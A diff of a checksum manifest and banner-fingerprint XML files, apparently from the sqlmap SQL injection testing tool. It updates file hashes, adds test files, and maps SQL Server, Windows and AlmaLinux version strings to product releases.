 017c91ba64c669382aa88ce627f925b00101a81c1a37a23dba09bfa2bfaf42ae  tamper/least.py
 d762543ef6d90fd6ce8b897fdfb864e0461d2941922d331d97a334aefdbbe291  tamper/lowercase.py
@@ -528,35 +553,113 @@ b533f576b260f485ebb70566c520979608d9f1790aa2811ce8194970b63e0d96  tamper/modsecu
 687f531696809452a37f631cdb201267b04cb83b34a847aec507aca04e2ec305  tamper/ord2ascii.py
 07cca753862dc9a2379aea23823d71ad6f4f6716a220e01792467549f8bde95a  tamper/overlongutf8more.py
 b17748d63b763a7bfd2188f44145345507ce71e1b46f29d747132da5c56d7ed0  tamper/overlongutf8.py
-dea9ab017cc4bde6f61f95a4f400ecba441525ff2d2dba886a2bf3ecdc1af605  tamper/percentage.py
+0af473a5fb3b458b0575d220b55ad96f81d9ca34eab854b597280f8bae6d35ba  tamper/percentage.py
 5437bc272398173c997d7b156dac1606dcde30421923bfc8f744d3668441d79e  tamper/plus2concat.py
 3cec7391b8b586474455ef4b089a27c67406ba02f91698647bb113c291f38692  tamper/plus2fnconcat.py
-007a21d189bfedd48d4ca2704fb7ea709ea72f4b206e38a7fe40446a12b0a6e3  tamper/randomcase.py
-27dfb51abe8f97a833309c2a42c31a63c0eda4711d122639c5ea31e5b5a9021a  tamper/randomcomments.py
+f5e2cccbe669b732c0b8aaa56c16522fd579168ff61a92d31f94c6970070dfe0  tamper/randomcase.py
+5a7047f97c1e6a29e37c13607d92776f1b0eebce96f7e4d6926f459e73abb382  tamper/randomcomments.py
 e11f10ab09c2a7f44ca2a42b35f9db30d1d3715981bd830ea4e00968be51931b  tamper/schemasplit.py
 21fae428f0393ab287503cc99997fba33c9a001a19f6dd203bbcc420a62a4b90  tamper/scientific.py
 7a71736657ca2b27a01f5f988a5c938d67a0f7e9558caba9041bd17b2cef9813  tamper/sleep2getlock.py
-856de1573ba9b08f6f33e28ca5a96341697762afa163835dcd4772ba6e1dadc6  tamper/space2comment.py
-715b56e60e8f7bf0a1198b356a32374797a8c2e1ba1f888794626205d63c63d5  tamper/space2dash.py
-21c43aafe994e798335e6756fbed15f430629beb49042b56d47f232022044a65  tamper/space2hash.py
-329fa6e9bb27e1770ccc1c42c3b3ddc8e57a970959d8482ff102d7bfee546a49  tamper/space2morecomment.py
-c088e7061a1a4676bc7714f64005ac275fae349f3dc665f2d565f56ecae7619f  tamper/space2morehash.py
-f823e5afbd5ab8e3fb478d984528c7f675561cf2b4eb6634a5bc11756097a01f  tamper/space2mssqlblank.py
-0d3b1336a5ca15de0ce5617c153f91ff8715c34cf886a71cb8df5ae887df301d  tamper/space2mssqlhash.py
-528723c9cea1d91dac22cb44cab6f8f0174f98c3c547b42017589d9a19a314e1  tamper/space2mysqlblank.py
-466bb10955155a042fe4ec3b3df6b98193fba1187a376179e0d4dbc068215d91  tamper/space2mysqldash.py
-4ea418f8b226b0ab369f3a8e726b7df0bc4701a2d93585de70e13febe5f438b7  tamper/space2plus.py
-b3b79bbcf48ba943af57978e32b928d567f28ed4e45651f15f9fe898e00c0331  tamper/space2randomblank.py
-6769cbe7b42265ff257a49e17e894bc19ff805802e19f27d57c07a212de70a11  tamper/sp_password.py
+7e23241588e21e17e2d167f696ebaa82b441338370e654357bbf29ee5393cb87  tamper/space2comment.py
+68b541ef75925f8e88a93129d3da259e0bbf7254febf637275382964a2763789  tamper/space2dash.py
+181b201f230aa6104c1a184091e292f8529b0bb1b0c5c1b69ded33c248c2d1e3  tamper/space2hash.py
+e390a99ea7c8de562a489c11c245c8b778b58090f636d231ce06a22829eaddb5  tamper/space2morecomment.py
+cd972178ac4464c6692939c347a03a8c1f3f5dae9d3ef83ae82328fa542b7f49  tamper/space2morehash.py
+45994faf85d0329efae3a6d34cc978dde5802f5f34614c52575e38e36c98b7d2  tamper/space2mssqlblank.py
+7fbaceff3722a32c65f3e3857a61188f05f9ea241f6393670dbb14f7081b542c  tamper/space2mssqlhash.py
+05ea031d1de1073cf0efd336ec70814403169e4123709447854129a0d4032e24  tamper/space2mysqlblank.py
+0a3bc5380bddbfddfd32ce0a353f1abf57894f03262503c4f6e88748ae4a7f58  tamper/space2mysqldash.py
+ef090bed1c71b5d6cd6422748799236dbdadbc70593a7b8ccb26ad07c7a76946  tamper/space2plus.py
+93d1cf1f6fb977356c4c8dc2d7784d4564b8da3d9f16e8253f957f80af2491f3  tamper/space2randomblank.py
+477ae0f9e3fe48b2fe5ced7b525b05a8e1db66963ff19dbb38dc810443dece57  tamper/sp_password.py
 8e52309b893770bce57215fd3bf42d53d7f0d164690b4121b598126cbaaf6bc3  tamper/substring2leftright.py
-d4b29c9a47961430dd0a24c22f8fe2968374ca5b0611e8b2837481c8d77672bf  tamper/symboliclogical.py
-c442ec7bb6676bdc58447fa54c719a9322b1728ba96c2358081a73fa8a4612ff  tamper/unionalltounion.py
+4b0dc71cef8daa67bcd54059e2a488340da9d64b5b2f848b2e2eff8972fc1649  tamper/symboliclogical.py
+dcdeed9ee285e63cf06baf8347e3db7f210ef25a63869bab78ce1ec6898ae191  tamper/unionalltounion.py
 9ebf67b9ce10b338edc3e804111abe56158fa0a69e53aacdd0ffa0e0b6af1f70  tamper/unmagicquotes.py
 67a83f8b6e99e9bb3344ad6f403e1d784cf9d3f3b7e8e40053cf3181fabe47fa  tamper/uppercase.py
 3e54d7f98ca75181e6b16aa306d5a5f5f0dce857d5b3e6ce5a07d501f5d915aa  tamper/varnish.py
-7d469ee594390cbc10378f83af403bba249240eab00f0ad5a5fe0e3fa1fcbf0d  tamper/versionedkeywords.py
-dcb7a5584390f1604adff075c94139dd23711f2f516b68683ec4208dd0a00fda  tamper/versionedmorekeywords.py
+7afc4d262b97773e67dcfa3e253a9a060dc964750f01d739636d17ee069f1512  tamper/versionedkeywords.py
+0694e721b07b8242245688be5c7951a3a22f512ed73776a998885e4b1bc82bc7  tamper/versionedmorekeywords.py
 ce1b6bf8f296de27014d6f21aa8b3df9469d418740cd31c93d1f5e36d6c509cf  tamper/xforwardedfor.py
+44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724  tests/__init__.py
+d16977d057c28888aa41500f79a19789cadef693cb8b7d9a3bca55b983ce2266  tests/test_agent.py
+138381e05a860272fedab780e6c38ab74c59c879048b11b909d23f8df654352a  tests/test_api.py
+feb763ddcbf4f32822372ca53f8c71c754af7b72510ef06e1e9c77927fc90b10  tests/test_bigarray.py
+36bcb68483d824db5d05870fab62f1907221bf256826b734302fbc15a9231c42  tests/test_brute.py
+27ad87c0ea377e0657bd6f6a4eaa0e9756aa9d28ec0483bdadeb3f66dcc4660d  tests/test_charset.py
+7596fc69678304923b5c945c0fd9b8ee62a2dfc7fb14ccb6dc7af30893dc8012  tests/test_checks.py
+9e678a56e16211c49ab4995b6c658d3f122bfa3b357d9e17ff38f5a489ace6ad  tests/test_cloak.py
+2ec894f49ca9bd750a23ead16dae176bcbc57d18ec5847fa4a5eeb886d75c1bd  tests/test_common_helpers.py
+cdacb37cbe5667fded00abe62a822e11c917e9cb5c3f664b7aa1a8d738412ed4  tests/test_common.py
+899bc085e96d68f8a8cbe0d7e55863e98ef37b73ab0e4234f7d969e31ea2d23a  tests/test_comparison_json.py
+7b72d4f850bbd059b8e95fceb45a58470354cb7270c99b0e9981aaa189af20d1  tests/test_comparison.py
+a7c3cf9f7820f377ebfdecf9383ebebc2932dd4a2a531a2b4496071f9d973c1c  tests/test_compat.py
+75357efd92f3f57cc05244a0f40985108077479fd192caaaa81e14f61c13783d  tests/test_convert.py
+2bd0faeaf7db1d73dd0caab3bde9900fdaa1f38fd736a6e238cd56ff9bc67b66  tests/test_databases_enum.py
+c17544be5e945dc8c4fbb5c3b922da8eceec30b0fb239c32fb5f40e1660a197f  tests/test_datafiles.py
+9c240d4f796e56376374d4ce46f358ceb7d48cc6a7427760c5bfb89ff01cb545  tests/test_datatypes.py
+8a1edb6dbc000e412ba5cc598e024b669fc76ec0a8fc32136808e6325a018f70  tests/test_dbms_enum.py
+3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd  tests/test_decodepage.py
+180e5fd3f75fadf7ac1135f99797314e2cf1f8ae6dced02edfb18ccba43c0148  tests/test_deps.py
+b01343eb8aa42ea5c2c483ec028a24f6451aa6f668fdc0c289d5ff9554c277d7  tests/test_dialectdbms.py
+e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2  tests/test_dialect.py
+993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff  tests/test_dicts.py
+7f9180a53dbf0bb3e52801fdbfffd31f365a0bff77bf90e58d2ef63a0c23026f  tests/test_dns_engine.py
+ec58ba0849d90d2bb7580fe2b8b96cd8299ddfc25f14dc27d9de9d41f152c78a  tests/test_dns_server.py
+4556bb0bfa6fcd5b98552426c57c99942ee8274eaefec7c316fd64247e4fcd6a  tests/test_dump_format.py
+9cd5841349bc4db818658d12184929a96f7f279eff1f53ad18a54dbefbd6b276  tests/test_dump_jsonl.py
+2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420  tests/test_encoding.py
+fe1211ce43a51cd8ec7dd3395aafda8d7313ff60e2ef013072ce9fa49ca4a242  tests/test_entries.py
+bb6991260a994fcbe79e05febaa34affd5631d02299fbc626820addd5f6ea4f4  tests/test_error_engine.py
+26730151abea598f193131c5d64ef92b531941972f3d6236f9951c3116030b1c  tests/test_filesystem.py
+16fba97cba6afe8af11aa30bcc4266f53b00f2530161e010af10b51db1509703  tests/test_fingerprint.py
+20844dfc758e99b2f757906c51ef32aca0f699283ec5aa629158d3dc0fd279ea  tests/test_generic_takeover.py
+f1f38f8b8ca667caadcb027d1a20eb895be4ef0935511114db235e66903bb463  tests/test_graphql.py
+50b71422ee91b9a4864f4d5ce6c9bdf169dc5f57ed1db05c152eb010c282136b  tests/test_gui_helpers.py
+92648f2fe81e22c5726b198bbbda14961cd4d3294a0d9139dcea808b324142ac  tests/test_har.py
+cc7677bc6c568c395112c1aa7d01e1d664e4d5940c86cb4d44987172864bae6f  tests/test_hash_crack.py
+0336c875dd2b6554bff6eafd746229e38c69ca8070cd933d45cf27c82ef3e05f  tests/test_hashdb.py
+c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7  tests/test_hash.py
+d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9  tests/test_identifiers_output.py
+5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1  tests/test_inference_engine.py
+0fc7bd9bae4fbd09f51027780b7a8e72eab73810dccdfdf87ed9e489e6e671c9  tests/test_ldap.py
+caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad  tests/test_misc.py
+790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7  tests/test_nosql.py
+88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d  tests/test_openapi_drift.py
+6e63ed05db0490148d1c8428d785a23b0d5d5a0f566cd397c9c4a8fe8a6ed7dc  tests/test_option.py
+cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759  tests/test_pagecontent.py
+7554a918309cf0f2cd8a63a3bb7659708f13beffbcd5ce498ece9f9167d55c97  tests/test_parse_modules.py
+0d52bf4b96eea2330553fdf7f875ed571e596d2f7a4b3648a2b53e44666f0c70  tests/test_payload_marking.py
+6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f  tests/test_payloads_structure.py
+d6ffa83bd56ae98e7f55307b72dd7ea4802bccea9a85bb8f062619fb0a88913e  tests/test_progress.py
+a6d013104601c0414628aff3d8b5b69bee3e6733781d8f8da880457d8b44bd3a  tests/test_property.py
+c4c6f500bb71c3e430da343a49e8c8b8b3c919f438b6e6130597ce68dd856487  tests/test_purge.py
+2dfefb4bfaee3868152835502ec43da317c4f274b1d55cd2ef21e4f7390c9bea  tests/test_replication.py
+67a5241aeebc20eb1c20cfc490422a59af5179040824e5731bd785db2e6bf750  tests/test_report.py
+4723d3bdf9623a49972e1d7378168ae8efbeaa31fb11c35d83bb40cc135fa0a8  tests/test_request_basic.py
+cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b  tests/test_safe2bin.py
+5b6ce95dddbd07d0126224f4f066643938476e536e18b700ea5d916e1052a715  tests/test_search_enum.py
+a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d  tests/test_settings_regex.py
+29d0278e3718b0fee422d3f6bb85ca02560138d48cd76f9fe1f35ac19d96071b  tests/test_sgmllib.py
+d3d991331096e16e5019de3d652e9fff92c09bd9f97c50b1c2c3ceb0ed49b17e  tests/test_sqlparse.py
+412a61053c2531cc0380b34dfd01d52bd118f6a6473728c069c467054c7e3c8e  tests/test_ssti.py
+8bcbf1091134dd0a62f6201f8b3645ed87b5ff2f7ba40a87231a29dac412591f  tests/test_strings.py
+8f1c5f0f337ecd26d35c5551060034e0aa33a62cce5385fc1227fdc485f6383e  tests/test_tamper.py
+67472bd71c20782cc0f738e2c2e674c29d6985669e14d15b69baef7d0e33de62  tests/test_target_parsing.py
+b3e13febe9e0ff6f97334f2868655bfdbaa18755e464a6dc4c6d424f513bad02  tests/test_targeturl.py
+0e644bb7b25c183d0d689ea7be542d7a2ce780cc68067f89afb2ee095a79f762  tests/test_techniques.py
+639851dc68f62b559b200b09c308e64e453f414969940005bac75dc0ab07a6b6  tests/test_texthelpers.py
+f49bcce1df533ffa1acfd02af43faf6687b21eebda9362ceb1e5871b8cb37fd4  tests/test_threads.py
+708b3c040f8b677a84020dd6f7c4242f77260b3c6d2697fe8189e1881b0e1365  tests/test_union_engine.py
+48b0ae4abe0fdde8ce4975c5cbf4c3514a2815021cb2e3a490a189bea5edfe78  tests/test_unpickle_security.py
+4b646f513c6da1e33200184ed6eabe0aa345eb2e2a19598dc123e191168591bf  tests/test_urls.py
+eca021208e388b4d14c53f1e9f8a6e7d685e54ba572fb2a8487e6b620a20bcb5  tests/test_users_enum.py
+045f05f958100adc883b3f56613c5f8002dd19d0752225397a1f771775cb2779  tests/_testutils.py
+2364db35025a53ea4e5a0a80c034997642785f7e6d1566d0d0f1db959fe3c82e  tests/test_utils.py
+93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f  tests/test_wafbypass.py
+81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca  tests/test_wordlist.py
+2698060e7f001e054e345512ce95be458d9902b913afa769398b53145475738a  tests/test_xpath.py
 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a  thirdparty/ansistrm/ansistrm.py
 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  thirdparty/ansistrm/__init__.py
 f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7  thirdparty/beautifulsoup/beautifulsoup.py
@@ -566,10 +669,10 @@ f862301288d2ba2f913860bb901cd5197e72c0461e3330164f90375f713b8199  thirdparty/bot
 0ffccae46cb3a15b117acd0790b2738a5b45417d1b2822ceac57bdff10ef3bff  thirdparty/chardet/big5freq.py
 901c476dd7ad0693deef1ae56fe7bdf748a8b7ae20fde1922dddf6941eff8773  thirdparty/chardet/big5prober.py
 df0a164bad8aac6a282b2ab3e334129e315b2696ba57b834d9d68089b4f0725f  thirdparty/chardet/chardistribution.py
-e9b0eef1822246e49c5f871af4881bd14ebd4c0d8f1975c37a3e82738ffd90ee  thirdparty/chardet/charsetgroupprober.py
+1992d17873fa151467e3786f48ea060b161a984acacf2a7a460390c55782de48  thirdparty/chardet/charsetgroupprober.py
 2929b0244ae3ca9ca3d1b459982e45e5e33b73c61080b6088d95e29ed64db2d8  thirdparty/chardet/charsetprober.py
 558a7fe9ccb2922e6c1e05c34999d75b8ab5a1e94773772ef40c904d7eeeba0f  thirdparty/chardet/codingstatemachine.py
-3ca4f31e449bb5b1c3a92f4fcae8cc6d7ef8ab56bc98ca5e4130d5b10859311c  thirdparty/chardet/compat.py
+e34cebeb0202670927c72b8b18670838fcaf7bc0d379b0426dbbedb6f9e6a794  thirdparty/chardet/compat.py
 4d9e37e105fccf306c9d4bcbffcc26e004154d9d9992a10440bfe5370f5ff68c  thirdparty/chardet/cp949prober.py
 0229b075bf5ab357492996853541f63a158854155de9990927f58ae6c358f1c5  thirdparty/chardet/enums.py
 924caa560d58c370c8380309d9b765c9081415086e1c05bc7541ac913a0d5927  thirdparty/chardet/escprober.py
@@ -582,34 +685,34 @@ d77a7a10fe3245ac6a9cfe221edc47389e91db3c47ab5fe6f214d18f3559f797  thirdparty/cha
 257f25b3078a2e69c2c2693c507110b0b824affacffe411bbe2bc2e2a3ceae57  thirdparty/chardet/gb2312freq.py
 806bc85a2f568438c4fb14171ef348cab9cbbc46cc01883251267ae4751fca5c  thirdparty/chardet/gb2312prober.py
 737499f8aee1bf2cc663a251019c4983027fb144bd93459892f318d34601605a  thirdparty/chardet/hebrewprober.py
-62c3f9c1096c1c9d9ab85d516497f2a624ab080eff6d08919b7112fcd23bebe6  thirdparty/chardet/__init__.py
+99665a5a6bd9921c1f044013f4ed58ea74537cace14fb1478504d302e8dba940  thirdparty/chardet/__init__.py
 be9989bf606ed09f209cc5513c730579f4d1be8fe16b59abc8b8a0f0207080e8  thirdparty/chardet/jisfreq.py
 3d894da915104fc2ccddc4f91661c63f48a2b1c1654d6103f763002ef06e9e0a  thirdparty/chardet/jpcntx.py
-d47a904bd3dbb678f5c508318ad24cbf0f17ea42abe4ea1c90d09959f110acf1  thirdparty/chardet/langbulgarianmodel.py
-2ce0da8efb1eb47f3bc980c340a0360942d7507f3bb48db6ddd85f8e1f59c7d7  thirdparty/chardet/langcyrillicmodel.py
-f18016edb53c6304896a9d2420949b3ccc35044ab31a35b3a9ca9fd168142800  thirdparty/chardet/langgreekmodel.py
-2529ea984e44eb6b432d33d3bcba50b20e6038c3b83db75646f57b02f91cd070  thirdparty/chardet/langhebrewmodel.py
-4616a96121b997465a3be555e056a7e6c5b4591190aa1c0133ad72c77cb1c8e0  thirdparty/chardet/langhungarianmodel.py
-f25d35ef71aefd6e86f26c6640e4c417896cd98744ec5c567f74244b11065c94  thirdparty/chardet/langthaimodel.py
-5b6d9e44d26ca88eae5807f05d22955969c27ab62aac8f1d6504e6fccd254459  thirdparty/chardet/langturkishmodel.py
+c7e37136025cd83662727b28eda1096cb90edcdeff9fbe69c68ce7abd637c999  thirdparty/chardet/langbulgarianmodel.py
+0d14ea9c4f0b1c56b3973ca252ebfbe425984f47dc23777fef9c89f74b000f60  thirdparty/chardet/langgreekmodel.py
+02118d149e3ad330914d9df550c100adccdda23e7fa69929ab141db2041b393f  thirdparty/chardet/langhebrewmodel.py
+2a11db92bc99f895d1c2cc4073847349b585185660e8430975b996b8e5d569df  thirdparty/chardet/langhungarianmodel.py
+b5beaf306af79329a46c7b95d288a49cb686360b7035d5c0cd3f325cefa08487  thirdparty/chardet/langrussianmodel.py
+6cb2774a086b331727a5412582ed8d80d7db896244cbd3e36946fb7812cfd9f5  thirdparty/chardet/langthaimodel.py
+8f891116c7272a084950e955a6a530eb352f8f50aa97a5b84a37e2fd730caa3a  thirdparty/chardet/langturkishmodel.py
 4b6228391845937f451053a54855ad815c9b4623fa87b0652e574755c94d914f  thirdparty/chardet/latin1prober.py
 011f797851fdbeea927ef2d064df8be628de6b6e4d3810a85eac3cb393bdc4b4  thirdparty/chardet/mbcharsetprober.py
 87a4d19e762ad8ec46d56743e493b2c5c755a67edd1b4abebc1f275abe666e1e  thirdparty/chardet/mbcsgroupprober.py
 498df6c15205dc7cdc8d8dc1684b29cbd99eb5b3522b120807444a3e7eed8e92  thirdparty/chardet/mbcssm.py
-2c34a90a5743085958c149069300f6a05c4b94f5885974f4f5a907ff63e263be  thirdparty/chardet/sbcharsetprober.py
-d48a6b70207f935a9f9a7c460ba3016f110b94aa83dec716e92f1823075ec970  thirdparty/chardet/sbcsgroupprober.py
+9e6c8ccaec731bcec337a2b7464d8c53324b30b47af4cad6a5d9c7ccec155304  thirdparty/chardet/sbcharsetprober.py
+86a79f42e5e6885c83040ace8ee8c7ea177a5855e5383d64582b310e18f1e557  thirdparty/chardet/sbcsgroupprober.py
 208b7e9598f4589a8ae2b9946732993f8189944f0a504b45615b98f7a7a4e4c4  thirdparty/chardet/sjisprober.py
-a8bd35ef8952644e38d9e076d679e4b53f7f55c0327b4ee5685594794ae3b6d6  thirdparty/chardet/universaldetector.py
+0e96535c25f49d41d7c6443db2be06671181fe1bde67a856b77b8cf7872058ab  thirdparty/chardet/universaldetector.py
 21d0fcbf7cd63ac07c38b8b23e2fb2fdfab08a9445c55f4d73578a04b4ae204c  thirdparty/chardet/utf8prober.py
-b29dc1d3c9ab0d707ea5fdcaf5fa89ff37831ce08b0bc46b9e04320c56a9ffb8  thirdparty/chardet/version.py
+0380882c501df0c4551b51e85cfa78e622bd44b956c95ef76b512dc04f13be7f  thirdparty/chardet/version.py
 1c1ee8a91eb20f8038ace6611610673243d0f71e2b7566111698462182c7efdd  thirdparty/clientform/clientform.py
 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  thirdparty/clientform/__init__.py
-162d2e9fe40ba919bebfba3f9ca88eab20bc3daa4124aec32d5feaf4b2ad4ced  thirdparty/colorama/ansi.py
-a7070aa13221d97e6d2df0f522b41f1876cd46cb1ddb16d44c1f304f7bab03a3  thirdparty/colorama/ansitowin32.py
-d7b5750fa3a21295c761a00716543234aefd2aa8250966a6c06de38c50634659  thirdparty/colorama/initialise.py
-f71072ad3be4f6ea642f934657922dd848dee3e93334bc1aff59463d6a57a0d5  thirdparty/colorama/__init__.py
-fd2084a132bf180dad5359e16dac8a29a73ebfd267f7c9423c814e7853060874  thirdparty/colorama/win32.py
-179e47739cdcb6d8f97713b4ecf2c84502ed9894d20cf941af5010a91b5275ea  thirdparty/colorama/winterm.py
+4e8a7811e12e69074159db5e28c11c18e4de29e175f50f96a3febf0a3e643b34  thirdparty/colorama/ansi.py
+d3363f305a0c094a6a201b757e632b6751fa679247c214b6e275fb0341a1c84c  thirdparty/colorama/ansitowin32.py
+fa1227cbce82957a37f62c61e624827d421ad9ffe1fdb80a4435bb82ab3e28b5  thirdparty/colorama/initialise.py
+c1e3d0038536d2d2a060047248b102d38eee70d5fe83ca512e9601ba21e52dbf  thirdparty/colorama/__init__.py
+61038ac0c4f0b4605bb18e1d2f91d84efc1378ff70210adae4cbcf35d769c59b  thirdparty/colorama/win32.py
+5c24050c78cf8ba00760d759c32d2d034d87f89878f09a7e1ef0a378b78ba775  thirdparty/colorama/winterm.py
 4f4b2df6de9c0a8582150c59de2eb665b75548e5a57843fb6d504671ee6e4df3  thirdparty/fcrypt/fcrypt.py
 6a70ddcae455a3876a0f43b0850a19e2d9586d43f7b913dc1ffdf87e87d4bd3f  thirdparty/fcrypt/__init__.py
 dbd1639f97279c76b07c03950e7eb61ed531af542a1bdbe23e83cb2181584fd9  thirdparty/identywaf/data.json
@@ -617,8 +720,6 @@ e5c0b59577c30bb44c781d2f129580eaa003e46dcc4f307f08bc7f15e1555a2e  thirdparty/ide
 edf23e7105539d700a1ae1bc52436e57e019b345a7d0227e4d85b6353ef535fa  thirdparty/identywaf/__init__.py
 d846fdc47a11a58da9e463a948200f69265181f3dbc38148bfe4141fade10347  thirdparty/identywaf/LICENSE
 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  thirdparty/__init__.py
-879d96f2460bc6c79c0db46b5813080841c7403399292ce76fe1dc0a6ed353d8  thirdparty/keepalive/__init__.py
-ae394bfae5204dfeffeccc15c356d9bf21708f9e48016681cfb8040ff8857998  thirdparty/keepalive/keepalive.py
 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  thirdparty/magic/__init__.py
 4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8  thirdparty/magic/magic.py
 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  thirdparty/multipart/__init__.py
@@ -630,8 +731,8 @@ ef70b88cc969a3e259868f163ad822832f846196e3f7d7eccb84958c80b7f696  thirdparty/odi
 c51c91f703d3d4b3696c923cb5fec213e05e75d9215393befac7f2fa6a3904df  thirdparty/six/__init__.py
 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  thirdparty/socks/__init__.py
 7027e214e014eb78b7adcc1ceda5aca713a79fc4f6a0c52c9da5b3e707e6ffe9  thirdparty/socks/LICENSE
-56ae8fb03a5cf34cc5babb59f8c2c3bb20388a04f94491f6847989428ce49b82  thirdparty/socks/socks.py
+c186b5d44edbeb8b536ce19afb476fec67b008a6fc6a8683f1866cea441051b1  thirdparty/socks/socks.py
 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  thirdparty/termcolor/__init__.py
 b14474d467c70f5fe6cb8ed624f79d881c04fe6aeb7d406455da624fe8b3c0df  thirdparty/termcolor/termcolor.py
 4db695470f664b0d7cd5e6b9f3c94c8d811c4c550f37f17ed7bdab61bc3bdefc  thirdparty/wininetpton/__init__.py
-7d7ec81c788600d02d557c13f9781bb33f8a699c5a44c4df0a065348ad2ee502  thirdparty/wininetpton/win_inet_pton.py
+ac055d6ae1f7a99d4334a4e5328dae1758e7a84f01292acd1bb5105ee4f26927  thirdparty/wininetpton/win_inet_pton.py

data/xml/banner/generic.xml

@@ -34,7 +34,7 @@
     <!-- Reference: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832%28v=vs.85%29.aspx -->
 
     <regexp value="Windows.*\b10\.0">
-        <info type="Windows" distrib="2016|2019|2022|10|11"/>
+        <info type="Windows" distrib="2016|2019|2022|2025|10|11"/>
     </regexp>
 
     <regexp value="Windows.*\b6\.3">
@@ -179,6 +179,10 @@
         <info type="Linux" distrib="Rocky"/>
     </regexp>
 
+    <regexp value="AlmaLinux">
+        <info type="Linux" distrib="Alma"/>
+    </regexp>
+
     <!-- BSD -->
 
     <regexp value="FreeBSD">

data/xml/banner/mssql.xml

@@ -1,5 +1,195 @@
 <?xml version="1.0" ?>
+<!--
+     Release/Service Pack anchors for SQL Server 2012-2022.
+     Each release leads with a coarse "major.minor" signature (matches any patch
+     level, so the product year is always resolved) followed by exact RTM/SP base
+     builds (last match wins, so the specific entry overrides the coarse fallback
+     and adds Service Pack identification). 2017+ use the CU servicing model (no SPs).
+     Reference: https://learn.microsoft.com/en-us/troubleshoot/sql/releases/download-and-install-latest-updates
+-->
 <root>
+    <signatures release="2022">
+        <signature>
+            <version>
+                16.0
+            </version>
+            <servicepack>
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                16.0.1000.6
+            </version>
+            <servicepack>
+                0
+            </servicepack>
+        </signature>
+    </signatures>
+    <signatures release="2019">
+        <signature>
+            <version>
+                15.0
+            </version>
+            <servicepack>
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                15.0.2000.5
+            </version>
+            <servicepack>
+                0
+            </servicepack>
+        </signature>
+    </signatures>
+    <signatures release="2017">
+        <signature>
+            <version>
+                14.0
+            </version>
+            <servicepack>
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                14.0.1000.169
+            </version>
+            <servicepack>
+                0
+            </servicepack>
+        </signature>
+    </signatures>
+    <signatures release="2016">
+        <signature>
+            <version>
+                13.0
+            </version>
+            <servicepack>
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                13.0.1601.5
+            </version>
+            <servicepack>
+                0
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                13.0.4001.0
+            </version>
+            <servicepack>
+                1
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                13.0.5026.0
+            </version>
+            <servicepack>
+                2
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                13.0.6300.2
+            </version>
+            <servicepack>
+                3
+            </servicepack>
+        </signature>
+    </signatures>
+    <signatures release="2014">
+        <signature>
+            <version>
+                12.0
+            </version>
+            <servicepack>
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                12.0.2000.8
+            </version>
+            <servicepack>
+                0
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                12.0.4100.1
+            </version>
+            <servicepack>
+                1
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                12.0.5000.0
+            </version>
+            <servicepack>
+                2
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                12.0.6024.0
+            </version>
+            <servicepack>
+                3
+            </servicepack>
+        </signature>
+    </signatures>
+    <signatures release="2012">
+        <signature>
+            <version>
+                11.0
+            </version>
+            <servicepack>
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                11.0.2100.60
+            </version>
+            <servicepack>
+                0
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                11.0.3000.0
+            </version>
+            <servicepack>
+                1
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                11.0.5058.0
+            </version>
+            <servicepack>
+                2
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                11.0.6020.0
+            </version>
+            <servicepack>
+                3
+            </servicepack>
+        </signature>
+        <signature>
+            <version>
+                11.0.7001.0
+            </version>
+            <servicepack>
+                4
+            </servicepack>
+        </signature>
+    </signatures>
     <signatures release="2008 R2">
         <signature>
             <version>

data/xml/banner/mysql.xml

@@ -3,6 +3,7 @@
 <!--
      References:
      * https://en.wikipedia.org/wiki/Debian_version_history
+     * https://en.wikipedia.org/wiki/Ubuntu_version_history
 -->
 
 <root>
